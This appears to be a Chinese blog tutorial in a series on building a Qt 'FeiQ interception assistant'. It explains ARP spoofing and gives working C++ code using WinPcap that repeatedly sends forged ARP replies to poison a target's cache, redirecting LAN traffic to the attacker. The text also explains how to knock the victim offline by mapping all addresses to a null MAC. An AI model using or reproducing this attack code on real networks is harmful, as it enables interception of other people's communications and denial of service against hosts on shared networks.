Qt实现飞秋拦截助手—ARP攻击
前言
继续我们的飞秋拦截助手开发,上篇是Qt:Qt实现飞秋拦截助手—Mac地址扫描器 ,本篇将介绍 如何进行ARP攻击,也叫ARP欺骗。
我们知道本机有个ARP缓存表 存储的是IP地址和物理地址的映射 IP_A -> MAC_A 是一一对应的。我们这里还是拿 A、B、C 3台主机做比喻,A和B通信,C是攻击者。
ARP攻击 就是,主机C 一直给 攻击目标A发送ARP应答包,告诉他 我是IP_B,我的物理地址是MAC_C,然后 主机 A 就会更新 本机ARP缓存 IP_B ->MAC_C。这样当主机A 上层应用想给 主机B 发送消息,进行组包后 在网卡层 目的mac本应该是MAC_B但是已经被我们的ARP攻击一直欺骗着,这样消息 就不会发送到MAC_B 而是会发送给 攻击者MAC_C。
效果
先看看效果,在说。
这是界面,1.2是本机 也就是攻击者,1.9 是虚拟机 攻击目标,1.1是网关,1.3 1.4是2台手机。
被攻击者 虚拟机1.9的ARP缓存表 被攻击后的数据 。已经被ARP欺骗了,局域网中的IP对应的mac地址已经被替换为攻击者的mac地址了。
在看看 wireshark抓包情况
核心代码
主要是 组一个 ARP应答包,一直发送给攻击者,告诉他,局域网中所有的IP对应的mac地址是 攻击者的Mac,正常的ARP缓存刷新大概是10分钟,当你刷新为正确的,我这边又给你覆盖掉了,你就没咒念了。这里ARP攻击不光可以 屏蔽局域网,你可也攻击对方让对方上不了网,怎样弄呢?将0.0.0.0 ~ 255.255.255.255的所有的IP对应的MAC地址全部替换为00:00:00:00:00:00无效的物理地址就可以了。同样是利用一直循环发送ARP应答包来实现欺骗的。
下面是具体细节代码,底层数据包发送使用的WinPcap库,其他就是C++代码 以及根据协议组包 和qt的知识了。
void ArpAttackThread::run(){
if( this->mAdapterHandle == nullptr){
qDebug() << "网卡设备没有开启";
return;
}
char tmp[18] = {0};
// 构造ARP请求包 ,2字节及以上的 存在大小端对齐问题,需要转换为网络字节序
ArpPackage package;
// 以太网 头部
memcpy(package.ethHead.destEthAddr,this->mAtkMacAddr,6);
memcpy(package.ethHead.srcEthAddr,this->mCurMacAddr,6);
package.ethHead.frameType = htons(0x0806);
Utils::macToHexString(package.ethHead.srcEthAddr,tmp);
// 构造ARP请求体内容
package.arpBody.hardType = htons(1);// 以太网地址
package.arpBody.protocolType = htons(0x0800); // IP地址
package.arpBody.hardLen = 6;
package.arpBody.protocolLen = 4;
package.arpBody.op = htons(2); // ARP应答包
memcpy(package.arpBody.destEthAddr,this->mAtkMacAddr,6);
memcpy(package.arpBody.srcEthAddr,this->mCurMacAddr,6);
Utils::htonN(reinterpret_cast<uint8_t*>(&this->mAtkIPAddr),package.arpBody.destIpAddr,4);
// 发送ARP应答包 欺骗目的主机
while(true){
if(this->isAttack == false)
break;
// 发送ARP应答包,将攻击目标 ARP缓存中的 局域网中所有的MAC地址 全部改为自己,达到ARP欺骗的目的
// 如果想让对方 不能上网,很简单 将0.0.0.0-255.255.255.255 所有IP都给对应的MAC地址 改为无效的MAC 就能达到
for(uint32_t ipAddr = mNetworkAddr+1; ipAddr < mBroadcastAddr; ipAddr++){
if( ipAddr == this->mAtkIPAddr)
continue;
struct in_addr addr;
addr.S_un.S_addr = htonl(ipAddr);
qDebug() << inet_ntoa( addr);
Utils::htonN(reinterpret_cast<uint8_t*>(&(ipAddr)),package.arpBody.srcIpAddr,4);
int ret = pcap_sendpacket(this->mAdapterHandle,reinterpret_cast<unsigned char*>(&package),42);
if( ret != 0){
qDebug() << inet_ntoa( addr) << " 发送失败!" ;
}
Sleep(100);
}
Sleep(3000);
}
// 关闭设备
pcap_close(this->mAdapterHandle);
// 已经停止ARP欺骗
emit stopDone();
}